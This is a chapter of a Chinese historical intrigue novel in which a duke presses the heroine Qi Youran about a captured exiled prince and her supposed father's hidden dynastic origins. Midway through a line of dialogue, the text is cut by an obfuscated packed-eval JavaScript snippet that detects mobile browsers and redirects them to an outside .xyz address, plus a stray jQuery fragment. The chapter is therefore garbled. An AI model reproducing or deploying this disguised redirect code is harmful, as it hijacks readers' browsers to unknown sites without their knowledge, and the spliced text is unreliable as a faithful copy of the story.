祁悠然出门时，倒是在鸳鸯厅遇见了顾濯。
他闻声抬眸，目光落在她额间，顿了一顿。
“歪了吗？”祁悠然疑惑，下意识想抬手去摸。
今日她额间贴了花钿，梅花形状，五瓣分明，透着胭脂红。
“没有。”就回了两个字，清清淡淡，手中书卷却不自觉合上了。
祁悠然不自在地想低下头，将那点过于招摇的艳丽藏起来，可颈子却微微发僵，竟由他看着。
空气凝了片刻。她觉着花钿快要被看化了，金箔的边沿微微发烫。
“很衬你。”他忽然开口，语气仍是淡的。
书卷搁在案上，他踱步走近，雪松气息漫过她的发梢。目光微垂着，脸上没什么表情，眼神却深，静而沉地映出那朵梅花。
祁悠然一怔，顾濯的手已经落在她肩头，拾起了一枚旧花钿，是她先前试妆时贴歪遗落的。
“要你说。”她回过神，低声嘟囔一句，转身离开。
.
尚未迈出门，江烨便急匆匆进来：“侯爷，镇国公到了。”
祁悠然脚步一顿，她下意识回头，顾濯亦是蹙起眉头。
“你先回房里去……”他话音方起，便被门外一道沉厚的声音截断。
“要回哪里？”来人已踱步入内，目光如刀。
顾濯上前，面上浮起谦恭之色：“世伯怎的突然到访？”
“怎的，我这把老骨头，还来不得你这了？”杜兴一声冷笑，却不接他那周全的礼数，只将视线直直投向祁悠然，“莺莺姑娘，有人要见你。”
.
祁悠然敛了神色，不慌不忙地坐下：“不知是何人？”
“五皇子，宋昱。”
祁悠然微微一怔。
宋旻继位后，并不想背上“刻薄寡恩”或“违背先帝”的骂名，也不愿冒险让一个潜在威胁回京。打发了剩下几个碍眼的兄弟，对于这位原先就废黜岭南的五皇子，新帝的选择是置之不理，让他继续在流放地自生自灭——只要不惹事，朝廷就当他不存在。
杜兴冷笑，眼风扫过一旁沉默的顾濯，意味深长：“多亏了先前‘有人’借题发挥，一口咬定他在岭南图谋不轨，劝陛下派人彻查处置了。这一查可好，地方官就是个饭桶，人早跑没了踪影，留在那儿的不过是个七八分像的替身。”
“费了一番功夫，竟在京城寻到些许痕迹。一个废皇子，无诏潜入京畿，你说……他所图为何？”
祁悠然垂眼：“他图什么，有意义吗？横竖是螳臂当车，不足为惧。”
“不错，”杜兴颔首，眼底却无半分笑意，“不出几日，就在京郊一所宅子里拿了人。身边还跟着一个人……莺莺姑娘不如猜猜，那是谁？”
祁悠然端起茶盏，轻轻抿了一口，茶香的清涩化开在她的舌尖：“大人既然问我，若我没猜错，怕是林枫眠的旧部。那宅子……想必也同林枫眠脱不了干系。”
“何止如此，”杜兴目光如鹰隼般攫住她，“甚至还寻到了些同北狄勾结的蛛丝马迹。可笑的是，审问之时，这位五皇子却指名道姓要见你。”
“大人多虑了，”祁悠然平静地迎上他的视线，眸中无波无澜，“我与五皇子早有龃龉，甚至称得上不共戴天之仇。宋昱此人阴私狠毒，睚眦必报，他想见我，不过是为了报复，再寻常不过。”
“你还真是伶牙俐齿。”杜兴眯起眼，话锋陡然一转，“那咱们不妨聊聊当年林枫眠在见过你之后，自尽狱中之事？或者我该问——他当真叫林枫眠么？”
祁悠然攥紧了手指。
顾濯下意识想开口，却被杜兴一个眼神制住。
“此人为官数十载，却未曾提携半分林氏子弟，反倒与恰巧同姓的庆国公往来甚密。老夫查证多时，林家原本家道中落，只剩一独子，考取功名后，身边奴仆尽数更换。那位继室周氏，说是表妹，可林家似乎并无这门亲戚。”
杜兴用茶盖轻刮浮沫，落下结论：“当年的谋逆案，真相不是林相勾结前朝之人，而是此人实为前朝余孽，顶替了林枫眠的身份。林府那一大家子，根本都是前朝人罢。莺莺姑娘对此，怕是心知肚明吧？”
祁悠然的心一寸寸冷下去。
“他的其中一个女儿林如霜，是周氏与管家私通所生。他却没有丝毫在意这件事，反倒是对她们母女细心周到，处处尽心。”杜兴语调仍然不紧不慢，慢条斯理磨着屋内人的心神。
“大人想说什么？”祁悠然蹙眉。
“原来这血脉，看的从来不是父亲，而是母亲。结合宋昱身边那些林府旧部的口供，这位周氏……恐怕正是前朝皇室血脉。”
“这样一个处心积虑顶替他人、数十载一心复国之人，为何偏偏在与你见过面后，自尽狱中？”杜兴倾身向前，目光如钩，“他不该想尽办法，护送他那有前朝皇室血脉的妻女，保她们平安无虞么？”
祁悠然僵坐着，脊背绷得笔直。
紫檀几案上供的一盆晚香玉，瘦伶伶地开着，她移开眼，却见窗外黄叶扑簌簌地落。
她嘴角缓缓勾起一丝极淡的嘲讽：“大人莫非忘了？我曾说过，我本就是冒名顶替的林府千金。在狱中，我亲口将这桩事告诉了他，权作报复。我那位好‘父亲’，忙忙碌碌半生，到头来却发现这世上竟未留下自己一丝血脉，心灰意冷之下选择自戕，难道不在情理之中么？”
杜兴沉沉看着眼前的女子，她与之前似乎并无差别，依旧傲气得像株白玉兰。他的目光掠过她额间那点胭脂红的梅花钿，轻嗤一声。
“北狄近些年很不安分，边境屡起纷争。”杜兴语气转沉，指节叩了叩桌面，“老夫还是希望莺莺姑娘能以大局为重，回京去见宋昱一面，设法从他口中套出些情报来。”
他顿了顿，看向祁悠然：“为朝廷分忧，是每个‘大梁’子民应尽之责，你说是吗？”
“世伯，”顾濯倏然截断话头，“何时起，这等家国重担，竟要系于一个女子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324067|175983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之身了？”
杜兴将茶盏重重一搁：“能不费一兵一卒便换取情报，为何不做？顾濯，你可曾想过边关将士的性命？若能多一分胜算，便是千百条人命！这难道不是天大的好事？”
僵持之际，屋外却传来一阵轻微的脚步声。
祁悠然抬眸望去，竟是姚玉成与陈素馨。眼中浮起惊讶，不由得转头看向顾濯。
对方只极轻地对她摇了摇头，眼神深静。
.
杜兴显然没料到会遇见这二位。
姚玉成的恩师乃是朝中一代大儒，虽已作古，门生故旧却遍布朝野，树大根深。杜兴纵然权势煊赫，也不好如对待顾濯那般疾言厉色。
陈素馨快步上前，亲昵地挽住祁悠然的手臂：“这都要申时了，怎的耽搁了这样久？”
夫妻二人与杜兴略作寒暄，便从容告辞：“今日家中设了小宴，招待几位昔年同窗，正要带悠然去认认几位叔伯。便不叨扰国公爷了。”
杜兴目送三人身影远去，冷冷睨向顾濯：“你安排的？”
顾濯敛目：“是。”
他袖袍下的手指微微一蜷，指尖拈着那枚拾来的旧花钿，轻轻抚平微微卷曲的金箔边缘。
“你倒是煞费苦心。”杜兴冷笑，眼底寒芒乍现，“先前便支使裴家那个混账小子来拦我，这回更是直接替她牵上了江南世族的线。就为了一个前朝的……”
“世伯，”顾濯出声打断，语气平稳无波，“请您慎言。您手中，并无实证。”
杜兴气极，几乎是咬着牙道：“是啊，证据可不是都被你处理干净了。”
“您此番南下，除了这桩旧案，更紧要的，怕是筹饷输粮之事吧。”顾濯换了个话题，神色依旧平静。
从北狄不再进贡炭火，边关暗涌不断，他便料到终有一战。只是不曾想，对方动作竟如此之急。
江南富庶，物产丰盈，最便于采买调运。杜兴明面上查案，暗地里，只怕早已着手储备军需。特意安排书生鸣冤，就是为了快刀斩了关兆兴这个绊脚石，才好名正言顺动用藩库之银。
杜兴凝视他良久，眼底怒意渐消，终化作一声沉叹：“你究竟……是如何作想的？”
顾濯微微侧身，抬手一引：“此事关乎重大，烦请世伯移步书房详谈。”
.
祁悠然被陈素馨轻轻揽着向外走，却还是忍不住回头看。
姚玉成在一旁瞧见了，不由冷哼道：“还瞧什么？那小子精得像只狐狸，几时吃过旁人的亏？”
话音未落，他突然想到了什么，叹了一声，不由得自言自语：“也是，当年在侯府那种处境，四周明枪暗箭，若不多长几个心眼，哪还能有今日……”
陈素馨瞪了丈夫一眼，转而执起祁悠然的手，在她手背上轻柔一拍：“别听他胡说。倒是你今日这妆容，真是好看极了。”她细细端详着祁悠然额间那抹精致的梅花钿，笑意盈盈，“改日也替我挑一个这般式样的，可好？”